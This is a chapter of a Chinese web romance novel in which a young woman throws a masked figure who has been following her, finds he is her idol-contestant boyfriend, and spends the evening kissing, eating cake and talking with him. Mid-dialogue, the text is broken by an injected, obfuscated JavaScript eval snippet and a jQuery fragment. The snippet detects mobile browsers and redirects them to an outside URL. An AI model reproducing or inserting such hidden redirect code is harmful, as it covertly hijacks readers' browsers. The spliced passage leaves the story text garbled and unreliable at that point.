六月底,向似锦正式收到了Luminé的实习Offer。
工作时间,是在暑假。
《NextLevel》节目总决赛过去了一个多月。
在决赛夜的尾声,节目组公布了距离出道位最近的第十一名——林千礼。
他以微弱的票数,无缘出道组。
向似锦记得,那晚从确定林千礼落选后,邓琼安就一直戴着墨镜,冷着脸直到散场。
她有些担心林千礼,但邓琼安提议要先送她回B大。
比赛结束,林千礼依旧是处于聚光灯下的高人气选手。
母亲的探视与接送,是合理的;
但母亲身边跟着的“没有合理身份”的同龄女性,对他而言,仍是致命的。
思虑再三,向似锦同意了邓琼安的安排。
而在决赛夜结束的半个月后,她收到了林千礼签约的消息,他签约了和出道组成员同样的公司。
久别重逢,为了保险起见,向似锦拒绝了林千礼到B大接她的提议。
地铁的播报在耳畔响起,滴滴声后,闸门打开。
她跟着人群,拎着蛋糕走出了地铁站。
漫长的几班换乘,让向似锦有些晕。
新鲜空气涌入鼻腔的瞬间,她如释重负地松了口气。
向似锦按着导航开始朝公寓走去。
七弯八绕之下,她从大路拐进了相对僻静的小道。
嘈杂的人车声,随着远离而逐渐褪去。相较之下,身后的脚步声就显得清晰多了。
昏黄的路灯照亮前方一隅,向似锦放慢了脚步。
光线落在楼旁的瓷砖墙上,隐约现出了身后的人影——
一个身形高挑的男人,带着鸭舌帽,帽檐盖住了眉眼,而下半张脸则戴着一只纯黑口罩。
他穿着与现阶段天气完全不符的休闲长衣裤,将自己捂得密不透风。
有些不对劲。
向似锦开始试探——
她放慢脚步的同时,他也跟着放缓步伐。
她迈步小跑,他的脚步声也逐渐急促。
导航指引的路线,是小区的后门。
天色将晚,行人稀少。
向似锦瞥向保安亭,亭内却空无一人。
没办法了。
她深吸了一口气,默默收紧了垂在身侧的拳头。
她警惕地瞥了一眼,只见那个男人仍是低着头,在距离她大约五米的后方。
他是为什么而来?
向似锦一边掏出手机拨通了林千礼的电话,一边快步走进公寓大堂。
但电话没接通,突兀的重量已经落在了肩头。
男人略有沙哑的嗓音涌进耳道,“阿……”
向似锦先发制人。
膝盖传来钝痛,腿一卸力,身体腾空的速度远快于话音落下的速度。
“锦”字被巨大的跌倒声淹没,他再次看见了自己的脚尖。
与此同时,那放在裤兜中的手机开始震动响铃——
林千礼仰躺在公寓大堂,顶部刺眼的光线晃得他两眼发花。
他眨了眨眼,忽然觉得,这样的情景似曾相识。
·
“哼。”
林千礼站在玄关处,哼了一声。
向似锦背对着他,脱鞋、进屋、落座,一气呵成。
她微微抬眼,偷看起了林千礼。
林千礼正站在门边,摘着口罩和帽子。
初夏全副武装带来的热意,让他脸上起了一层薄汗,头发也因为帽子乱糟糟的。
脱了长外套,他幽怨地瞥了向似锦一眼,又——“哼!”
哼声落下的瞬间,向似锦刚好与林千礼四目相对,她猛的一激灵,心虚地咂吧了两下嘴。
林千礼在她身边坐下,开始随地大小演,“阿锦,我的后脑勺好疼,感觉自己要脑震荡了。”
他顶着说红就红的桃花眼,可怜兮兮地吸了下鼻子,“说不定因为这一摔,我就会提早进入老年痴呆……”
“打住!”
在他越说越离谱之前,向似锦及时喊住了他。
她抬眸,决定没理搅三分,“那能怪我吗?”
闻言,林千礼好整以暇地挑了挑眉。
辩解的话脱口而出,但气焰好像弱了一些。
“……谁让你从地铁站开始就一直跟在我后面的。”
向似锦嘟囔着,“跟就算了,也不提前和我说一声。不提前说就算了,还把自己捂得严严实实的。”
越说越生气,她愤愤地抬了下屁股,与他面对面,说:“你知道借着那个瓷砖的反光,你看起来真的很像新闻上那些变态跟踪狂吗!眼睛鼻子嘴,一个没露,我哪儿认得出来是你!”
“你以前光瞥一眼就能认出我的。”林千礼说。
“什么以前?我怎么不知道?”
四目相对,拉锯战长达三十秒,向似锦认命地叹了口气,“那不是反光看不清吗?而且你参加这个节目,瘦了好多,屏幕上把你拉得有这么宽——”
她比划着,“我第一时间没认出来嘛。”
“好吧。”林千礼嘴一撇,“这个理由我接受了。确实该揍。”
“嗯?”
“任谁在大晚上被一个全副武装的陌生异性尾随,都会害怕。”
“嗯嗯。”
“所以小霸王这是正当防卫——”
林千礼顺着她话往下说,向似锦顺着他话频点头。
“嗯嗯嗯……”
但他话锋一转,假惺惺地吸了吸鼻子,“但你今天揍得是弱小可怜无助的我……”
“嘿——”向似锦瞪大了双眼,“你是在说一米八五的你,弱小可怜又无助吗?”
“跟小霸王比起来,小哭包肯定弱小可怜又无助啊。”他理直气壮。
向似锦无语地白了他两眼,“……”
“经纪人让我这个暑假非必要就少出门。”
林千礼说:“如果非要出门,就必须全副武装。”
“……所以你为什么要出门?”她抱着抱枕,往沙发上一靠,“我不都和你说了,我可以自己来的吗?”
“阿锦。”林千礼学着她,也抱了个抱枕,“你真是不解风情。”
他嘴一撅,继续伸冤,“我挨了结结实实一个过肩摔,你不仅不安慰我,现在还无理搅三分。”
“我哪儿没理啦?”向似锦不乐意了。
她蹭的一下坐直了,说:“那我们继续捋,进大堂的时候也没有其他人了吧?你为什么不喊我?害得我把蛋糕都摔烂了。”
“你给我机会了吗?”林千礼语气更哀怨了。
向似锦扭头去看他,只见他一脸的愤愤不平。
她哭笑不得,说:“好吧好吧,对不起我们的小哭包。你哪儿摔疼啦?”
“这儿。”林千礼指着自己的后脑勺。
向似锦倾身,摸了摸他的脑袋,笑了,“那我给你吹吹?”
林千礼用鼻子发出了一声闷哼,默许了。
向似锦抱着抱枕挪近了一些,她揉着他的后脑勺,开始嘟囔,“我觉得你的脑袋是铁做的。”
“嗯?”林千礼瞥了她一眼。
“你看看那么大一声,但是你的脑袋没肿诶!”
“阿锦,因为受力是分散的。”
“那你刚刚说你脑震荡!”向似锦直起身,双手一叉腰,“那你还有哪里疼?”
林千礼别扭地移开目光,哼唧道:“哪儿都疼。”
见状,她眸光一闪,勾唇笑了,“好啊,那让我看看,你还有哪儿受伤了,好不好呀?”
她语速柔和得像是在哄小孩儿,但动作却快到让林千礼来不及做出任何反应。
向似锦跪在沙发上,双手环住了他。
她微凉的掌心贴上脊柱的瞬间,一股奇异的电流感在林千礼的大脑中炸开。
他本能地一激灵。
太近了。
从确定关系到现在,将近半年。
聚少离多的缘故,让两人除了小年夜那一个浅尝辄止的吻,再也没有过分的亲昵举动。
愣神间,向似锦的手开始在他的背上肆无忌惮地捣乱。
“这儿疼吗?”
她的气息洒在林千礼的耳垂边,指尖隔着短袖,已经点上了他的肩头。
向似锦戳了戳手臂上的肌肉,“你也不疼啊……”
指尖再次游移,攀上了他的后背。
她拍了拍,“我感觉你的背应该也没事……”
笑意隐藏在看似平常的问询中,就像心跳淹没在了僵直的身体下。
向似锦仍在念念有词,“啧,林千礼,我刚才觉得你是瘦了,但是好像不是那么回事啊。”
林千礼的喉结上下一滚,心跳声趋于失控——向似锦的手贴上了他的腰!
她的脸近在咫尺,可他的目光却慌乱地不知该落在哪里。
向似锦掐了掐,说:“你不是瘦了,你是结实了。”
指尖勾着布料,从腰腹上划过,耳边响起了她银铃的笑声,“林千礼,你真的结实了诶——”
“嗯、嗯。”林千礼心猿意马,“封闭式训练将近三个月,每天的运动量都很大……”
她又捏了一下!
他开始结巴了,“当、当、当然会结实。”
“噢~”向似锦看着林千礼通红的耳根。
得逞的笑意从眼中滑过,她的双手一路向上,捂住了林千礼滚烫的双颊。
向似锦笑颜盈盈地与他对视,唤道:“林千礼。”
“嗯?”林千礼眨了眨眼,目光飘忽不定。
“你的脸为什么这么烫?”
“热、热的。”他随口胡诌道。
“噢?”向似锦唇角的笑意更深了,“那你为什么不敢看我?你在想什么?”
“我……”
话语拥堵在喉间,那些准备好的、缠绵悱恻的情话,在向似锦的主动下,烟消云散。
剩下的只有青涩的无措与羞赧。
他深吸了一口气,对上了向似锦的目光。
长时间的沉默,让对视愈发胶着。
独处的空间,本就容易让他浮想联翩,可此刻,向似锦眼底那毫不遮掩的戏弄,让林千礼感觉自己浑身的血液都在沸腾——
他沙哑着嗓音,滚烫的掌心握住了向似锦的手腕,“阿锦……”
“嗯?”向似锦应道。
危险在逼近,猎人与猎物的身份常常交换。
覆在手腕处的力量,推着她往后倒去。
身体嵌进柔软的沙发,轻浅的乌木香将她包围,向似锦抬眸,目之所及,是林千礼逆着光的脸。
客厅灯光洒在他的身上,形成了一片阴影。
而这阴影,将她恰到好处地圈住。
“你在欺负我。”他声音喑哑。
“……我、我可没有。”现在,结巴的人变了。
林千礼的掌心依旧炙热,他的膝盖抵在她的两-腿之间。
“你有。”他俯身凑近,低语道:“阿锦,我很想你。”
变成猎物的瞬间,羞赧击溃戏弄,占领高地。
向似锦抿着唇,顶着轰鸣的心跳声,强迫自己与林千礼对视。
但……一秒、两秒、三秒……
坏心四起。
林千礼只是保持着压制着她的动作,一动不动。
他的睫毛在忽闪着,那频率竟意外地与扣着她手腕的掌心震颤如出一辙。
热意徘徊在两人之间,向似锦眸光一闪。
她微微支起上半身,亲亲地吻上了林千礼的唇。
只一瞬,他身体那微弱的颤抖消失了——
猎人与猎物,再次互换。
事实证明,戏弄过了头,小狗也会急。
而把小狗逗急了,那他就会咬人了——
噢,不,那他就会亲嘴了。
手腕嵌进柔软的沙发中,林千礼的膝盖再次往前一顶,掌心拖住向似锦的后脑勺,被迫她抬头。
比起她试探性的亲,向似锦想,现在这个滚烫而又炙热的相贴,才能称得上——吻。
笨拙、生涩,却充满侵-略性。
林千礼微弓着腰,反复用唇描摹着向似锦的唇形。
他闭着眼,嘴有些干燥,摩挲感抚过唇瓣,激起一阵密密麻麻的酥感。
两人之间隔着向似锦怀中的小抱枕。
但柔软的抱枕此刻却化作了沉重的力量压向了她。
紧张掠夺了呼吸的本能,窒息让她的身体开始发烫。
左手被林千礼攥在掌心动弹不得,而空出的右手却无所适从。
吻,让体温升高,也让大脑陷入了宕机。
向似锦抬手,轻轻抓住了林千礼的腰侧衣物。
衣物的拉扯感就像连接着开关的细线,拉下的瞬间,林千礼的动作陡然停下。
他猛地睁眼,撞进了向似锦蒙着水光的眸底。
心脏跳动之下,便是更为汹涌的占-有——
他强势地撬开了向似锦紧闭的唇,没有技巧性的掠夺,抢走了她全部的呼吸。
舌-尖闯进私人领域的瞬间,不受控制的颤-栗将她包围。
他反复试探、尝试、纠缠、掠夺;
而她反复抵抗、靠近、接受、回应……
直至氧气耗尽,从唇周溢出一声暧昧的嘤-咛,“唔——”
在被憋死前,向似锦狠狠地拧了一把林千礼的腰。
闷哼声落下,林千礼终于松开了她红肿的唇。
他顶着从脖子往上几乎熟透了的脸与耳朵,埋到了向似锦的颈窝。
滚烫的皮肤似乎要将她烫得融化。
啃咬的方式,让她的唇周火辣辣的。
微弱的痛感与窒息的堵塞交织,向似锦被林千礼抱着,感受着他与自己同频的体温与心跳,却无暇顾及,只是凭借本能大口呼吸。
沉默开始蔓延,但情愫却在疯涨——
林千礼的手一路下滑,贴上了向似锦的腰。
他的嗓音喑哑,“阿锦,我好想你。”
“嗯……”向似锦咽了下口水,应道:“我知道。”
林千礼默默加深了拥抱,像是要将她牢牢锁在怀中。
唇上的痛感仍旧存在,而愈发收紧的怀抱又增添了新的不适。
向似锦眉头微蹙,推搡了一把,换来了林千礼委屈的哼唧声。
但他还是乖乖放轻了力道。
向似锦抿了抿唇,说:“林千礼,你是小狗吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307956|176723||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
他想也没想,“汪——”
“你……”向似锦被他逗笑了,“你什么毛病?”
“不是你问我是不是小狗的吗?”林千礼用脸蹭了蹭向似锦,“我又没有尾巴,只能叫一叫了。”
向似锦闭上眼深吸了一口气,“我是说,你啃得我嘴巴好疼。”
这一回,林千礼沉默了。
那环在向似锦腰上的手,又不自觉地加重了力道。
他将她抱紧,嘟囔道:“……这不是没有经验吗?八点档那些偶像剧里都是这么啃的……”
合理但好笑。
向似锦笑得浑身发颤。
她越笑,他越恼。
忍无可忍,林千礼再次微微起身,与她四目相对,“阿锦。”
“嗯?”
“再来一次。”
“什么再来一次?”向似锦问。
“实践出真知。”林千礼目光灼灼,“熟能生巧。”
那因热意散去有些泛粉的耳朵,因为口出狂言,再次红得滴血。
向似锦看着他的耳朵,“林千礼!”
“嗯。”他自己给自己肯定,已经将脸再次凑近。
按常理来说,向似锦觉得现在她应该说不要。
但是当林千礼再次靠近时,她的心跳却先一步做出了回应——
双手环过他的脖颈,用行动加深了那尚有顾虑的吻。
晚风溜进屋内,给被燥热充斥的小屋降温。
墙上的钟表发出滴答滴答的声音,但向似锦分不清究竟过去了多久。
那不是一次,那是一次又一次,一次又一次,且不知疲倦。
直到向似锦再次忍无可忍,抬腿将林千礼蹬远了。
她已经被挤到了沙发的角落,发软的身体愣是靠着扶手才缓缓坐了起来。
她毫不犹豫地抄起手边的抱枕,向林千礼砸去,“流氓!”
林千礼接住了抱枕,眨了眨他人畜无害的大眼睛。
又是一个抱枕,“无赖!”
林千礼又接住了,顶着通红的耳朵目光开始游移。
她气得又蹬了林千礼一脚,“你咬人!”
“汪。”林千礼应道。
因为“正当防卫”被摔烂的蛋糕,还是被拎回了家。
秉持着不能浪费的原则,两人开始拆蛋糕盒。
蛋糕是烂了,奶油四溅,但形还在。
“还行还行,感觉还能吃。”
向似锦伸手去拿刀叉,回头的瞬间,微凉的奶油落在她的鼻尖。
她撕纸袋的动作一顿,眯起眼去看罪魁祸首。
而罪魁祸首却佯装无事发地翻看着蛋糕盒。
好一会儿,他才看向向似锦,假装惊讶道:“阿锦,你也太不小心了。怎么把奶油蹭脸上……”
他伸手就要去拿纸巾。
指尖刚碰到抽纸盒,只听“啪”的一声,向似锦的掌心盖住了他的手。
有仇不报,有愧小霸王的称号。
向似锦微眯着眼,假笑道:“好哇你林千礼……”
怒气在飙升,林千礼瞪大了双眼,拼命拽着被向似锦压住的手。
“我错了,阿锦。”
求饶声。
“你求饶也没用!林千礼,你给我站住!这个衣柜你爬不上去的!”
追杀声。
“噗——”
蛋糕糊脸声。
半小时后,向似锦顶着鼻尖那一抹白,心满意足地坐回了沙发上。
而林千礼,是夏天的圣诞老人。
他撅着嘴,一脸的可怜兮兮,坐在了向似锦的身边。
向似锦瞥了他一眼,笑了,她的笑声也感染了林千礼。
他问:“有这么好笑吗?”
“好笑。”她点头如捣蒜,“超级——超级——好笑。”
“行。”林千礼放弃抵抗,“想笑就笑吧。”
他用纸巾将向似锦鼻尖的奶油擦干净后,才开始擦自己的脸。
纸巾掠过被奶油覆盖的左脸时,一个吻落在了右脸。
林千礼顿住了,他错愕地扭头,撞进了向似锦含笑的眼底。
“甜的。”
她仍旧笑着,说:“林千礼,欢迎回家,我也很想你。”
向似锦吃完了属于自己的那份蛋糕,从沙发上起身,林千礼却拉住了她。
“怎么了?”
他没说话,只是微微抬眸,与她对视。
对视的时间越长,向似锦似乎越能摸到林千礼心里的一些小九九。
她想也没想,敲了他脑袋一下,说:“想都别想,你今晚睡沙发!”
B大距离林千礼所在的公寓太远了。
来回倒腾的时间,不足以让向似锦赶在门禁前回校,所以她选择了留宿。
不大的公寓内,被黑夜的静谧笼罩。
她躺在林千礼的床上,有些难以入眠。
身下的床单,是新换过的。但每一寸都是他的味道,包括她自己。
思来想去,向似锦从床上起身,蹑手蹑脚地溜进了客厅。
长时间的高压和训练,让林千礼陷入了深沉的睡眠,向似锦蹲在他身边时,他都未曾察觉。
温存过后,那些被短暂抛却到脑后的现实还是要面对。
向似锦借着月光,静静地看着林千礼,大脑却不受控制地被小猪那晚说的话所牵引、拉扯——
她和林千礼的关系,是不应该活在太阳下的。
“我还是喜欢你这么看着我。”
林千礼蒙着睡意的声音响起时,她坐在地毯上,猛地一激灵。
他的眼帘颤动了两下,昏昏沉沉地从沙发上坐起。
他将身上的被子分了一半给向似锦,才揉了揉眼睛,说:“怎么不穿件外套,不冷吗?”
北城的昼夜温差还是有些大的。
先前因为烦心事,向似锦并没注意到这些,而现在被暖意包裹的时候,她才后知后觉地哆嗦了一下。
林千礼又将被子多分了一些给她。
向似锦坐到了沙发上,用同一张被子将两人裹了起来。
林千礼清了清嗓子,“决赛夜我看见你了。”
“嗯,你之前不是说过了吗?”向似锦应道:“你说在大屏上看见我和阿姨一扫而过的脸了。”
“不是那一次。”林千礼说:“是大概在梁瀚云出排名的时候,我好像看见你拿摄像头对着我了。”
“……你千里眼啊?”
“嗯,林千礼的眼睛,也是千礼眼。”
“噗——这笑话一点都不好笑。”向似锦摇头。
“那你还笑。”林千礼又挪着屁股往向似锦的方向蹭了点。
他说:“我按照大屏上那些比较显眼的大灯牌推测出你们坐的位置的。我当时就往那瞟了一眼,就觉得那个举着镜头的人是你……”
“阿锦,我不喜欢你拿镜头来看我。”
“为什么?”
“这样显得你离我好远。”林千礼轻轻在向似锦的唇角上吻了下,“我还是喜欢你像刚才偷看我睡觉那样看我……”
向似锦扬起嘴角。
“……像流氓,嘿嘿。”林千礼说。
向似锦落下了嘴角,抬起了手。